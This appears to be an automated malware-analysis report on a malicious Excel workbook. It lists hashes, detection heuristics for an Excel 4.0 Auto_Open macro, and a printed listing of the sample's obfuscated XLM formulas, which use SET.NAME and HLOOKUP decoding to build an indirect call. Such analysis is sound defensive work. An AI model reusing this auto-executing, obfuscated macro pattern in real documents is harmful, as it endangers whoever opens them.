Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7c1394be8515ad1…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:47 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 869cf57b3bc6ae69896f1f559b2e7dab SHA-1: d374d6c601efb599333a7b96afea2b46fc17fc41 SHA-256: a7c1394be8515ad1ea83b2df89760cd8e4135c5460ca3d400b3bd5a751100e1f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6986 bytes
SHA-256: 9e99212a1fe4c079f33f299fb854ef7ccc7788bb19c87a1789d8f9948b1e725d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RCuJcpIhKkZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H143 
' 0018     27 LABEL : Cell Value, String Constant - bchDhktcMpDW len=0 
' 0018     25 LABEL : Cell Value, String Constant - bWuVpDfHBI len=0 
' 0018     24 LABEL : Cell Value, String Constant - CPVNKxPBR len=0 
' 0018     20 LABEL : Cell Value, String Constant - dfIrZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - EtDljfxQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - FSkjHuTIW len=0 
' 0018     23 LABEL : Cell Value, String Constant - gbnnKdMW len=0 
' 0018     25 LABEL : Cell Value, String Constant - HHQHULWSjo len=0 
' 0018     26 LABEL : Cell Value, String Constant - ieNJpRoAJcD len=0 
' 0018     21 LABEL : Cell Value, String Constant - LMqIhx len=0 
' 0018     20 LABEL : Cell Value, String Constant - lxAAj len=0 
' 0018     23 LABEL : Cell Value, String Constant - LZXruikR len=0 
' 0018     24 LABEL : Cell Value, String Constant - mPiABvITr len=0 
' 0018     21 LABEL : Cell Value, String Constant - mQpBTZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - NsIMBhe len=0 
' 0018     25 LABEL : Cell Value, String Constant - NUkjbLsdlG len=0 
' 0018     23 LABEL : Cell Value, String Constant - QFiSsEkM len=0 
' 0018     22 LABEL : Cell Value, String Constant - QZpsueg len=0 
' 0018     24 LABEL : Cell Value, String Constant - TqfMGFDAN len=0 
' 0018     22 LABEL : Cell Value, String Constant - UzVrZoR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RCuJcpIhKkZ,H50,"SET.NAME("ieNJpRoAJcD",0+VALUE("0"))",""
'  RCuJcpIhKkZ,H54,"SET.NAME("NUkjbLsdlG",ieNJpRoAJcD)",""
'  RCuJcpIhKkZ,H58,"SET.NAME("FSkjHuTIW",ieNJpRoAJcD)",""
'  RCuJcpIhKkZ,H61,"SET.NAME("EtDljfxQ",COUNTA(QFiSsEkM))",""
'  RCuJcpIhKkZ,H63,"SET.NAME("dfIrZ",COUNTA(bchDhktcMpDW))",""
'  RCuJcpIhKkZ,H68,[],""
'  RCuJcpIhKkZ,H73,"SET.NAME("mPiABvITr","")",""
'  RCuJcpIhKkZ,H77,"NUkjbLsdlG",""
'  RCuJcpIhKkZ,R77,"",433.00000000000000000000
'  RCuJcpIhKkZ,R78,"",139.00000000000000000000
'  RCuJcpIhKkZ,R79,"",-123.00000000000000000000
'  RCuJcpIhKkZ,R80,"",-334.00000000000000000000
'  RCuJcpIhKkZ,H81,"SET.NAME("CPVNKxPBR",HLOOKUP("*",QFiSsEkM,NUkjbLsdlG,FALSE))",""
'  RCuJcpIhKkZ,R81,"",253.00000000000000000000
'  RCuJcpIhKkZ,R82,"",681.00000000000000000000
'  RCuJcpIhKkZ,H86,"TqfMGFDAN",""
'  RCuJcpIhKkZ,H88,"SET.NAME("HHQHULWSjo",ieNJpRoAJcD)",""
'  RCuJcpIhKkZ,H92,[],""
'  RCuJcpIhKkZ,H94,"HHQHULWSjo",""
'  RCuJcpIhKkZ,H97,"NsIMBhe",""
'  RCuJcpIhKkZ,H100,"lxAAj",""
'  RCuJcpIhKkZ,H104,"LMqIhx",""
'  RCuJcpIhKkZ,H108,"SET.NAME("QZpsueg",VALUE(HLOOKUP("*",bchDhktcMpDW,LMqIhx,FALSE)))",""
'  RCuJcpIhKkZ,H111,"mQpBTZ",""
'  RCuJcpIhKkZ,H116,"mPiABvITr",""
'  RCuJcpIhKkZ,H120,"FSkjHuTIW",""
'  RCuJcpIhKkZ,H124,NEXT(),""
'  RCuJcpIhKkZ,H126,"UzVrZoR",""
'  RCuJcpIhKkZ,H130,[],""
'  RCuJcpIhKkZ,H133,"LZXruikR",""
'  RCuJcpIhKkZ,H137,NEXT(),""
'  RCuJcpIhKkZ,H141,RETURN(),""
'  RCuJcpIhKkZ,H166,"SET.NAME("bWuVpDfHBI",H50)",""
'  RCuJcpIhKkZ,H171,"QFiSsEkM",""
'  RCuJcpIhKkZ,H176,"SET.NAME("bchDhktcMpDW",R82C13)",""
'  RCuJcpIhKkZ,H181,"SET.NAME("LZXruikR",188)",""
'  RCuJcpIhKkZ,H183,"SET.NAME("gbnnKdMW",8)",""
'  RCuJcpIhKkZ,H187,bWuVpDfHBI(),""
'  RCuJcpIhKkZ,H188,HALT(),""